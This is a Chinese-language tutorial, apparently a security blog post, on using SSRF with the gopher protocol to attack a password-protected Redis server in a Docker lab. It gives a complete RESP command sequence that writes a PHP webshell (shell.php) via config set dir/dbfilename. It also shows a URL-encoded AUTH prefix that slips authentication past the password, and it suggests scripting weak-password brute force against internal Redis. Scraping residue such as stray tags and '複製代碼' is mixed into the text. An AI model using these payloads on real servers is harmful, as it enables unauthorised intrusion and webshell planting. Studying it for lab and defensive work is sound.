前段時間evoA師傅提到了SSRF能夠攻擊有密碼認證的Redis服務,網上的文章大部分都是未受權打Redis,而有關SSRF認證攻擊Redis的文章不多,在這裏簡單分析一下,若有錯誤還望斧正。php
SSRF漏洞的原理是利用一個能夠發起網絡請求的服務看成跳板來攻擊內部其餘服務,咱們能夠用其探測內網信息、攻擊內網應用、穿透防火牆、讀取任意文件等。web
這裏咱們演示的是攻擊內網Redis應用,相似的還有未受權攻擊Mysql服務等。redis
當存在SSRF漏洞且內網中Redis服務能夠未受權訪問時,咱們能夠利用gopher協議構造tcp報文發送一系列請求來攻擊Redis服務。sql
常見的幾種攻擊方式:docker
網上一堆利用文章,這裏再也不闡述,這裏主要分析未受權攻擊的數據包。shell
pull一個redis服務的docker容器數組
docker pull ju5ton1y/redis
docker run -d -p 8001:6379 ju5ton1y/redis
安全
設置未受權ruby
sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf
docker restart id
bash
進入容器
apt-get install tcpdump
tcpdump -i eth0 port 6379 -o nopass.pcap
利用工具生成payload,直接打便可。
經過翻閱官網文檔 redis.io/topics/prot… ,能夠看到Redis使用的是RESP協議
(ps:英語太渣,谷歌翻譯可能不太準確,具體可直接看原文。)
能夠看到客戶端將命令發送到Redis服務器的流程爲
Bulk Strings用於表示長度最大爲512 MB的單個二進制安全字符串,按如下方式編碼:
$
複製代碼
字符串 foobar
的編碼以下: $6rnfoobarrn
。
RESP Arrays使用如下格式發送:
* 複製代碼
如今數據包中的每一行數據就好理解了。每個 *number
表明每一行命令,number表明每行命令中數組中的元素個數。 $number
表明每一個元素的長度。
*1
$8
flushall
*3
$3
set
$1
1
$22
<?php phpinfo();?>
*4
$6
config
$3
set
$3
dir
$4
/tmp
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save複製代碼
sed -i 's/#requirepass 123123/requirepass 123123/g' /etc/redis.conf
docker restart id
進入容器 tcpdump -i eth0 port 6379 -o havepass.pcap
本地客戶端發送命令到容器6379端口
隨便查看部分tcp流
能夠看到在發送請求以前都發送了下面這條命令用來認證
*2
$4
AUTH
$6
123123複製代碼
在官方文檔中提到Redis是 Request-Response model
.
A client can use the same connection in order to issue multiple commands. Pipelining is supported so multiple commands can be sent with a single write operation by the client, without the need to read the server reply of the previous command before issuing the next one. All the replies can be read at the end..
大體意思是說Redis客戶端支持管道操做, 能夠經過單個寫入操做發送多個命令,而無需在發出下一個命令以前讀取上一個命令的服務器回覆。全部的回覆均可以在最後閱讀 。
這也是Redis在認證狀況下依然能夠被攻擊到緣由。
從新構造數據包,添加 %2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A
測試
能夠看到寫入成功
在滲透環境中假如找到了SSRF漏洞且內網中開着有認證的Redis服務,咱們能夠寫個腳本用弱口令跑一波SSRF認證攻擊Redis,說不定會有突破。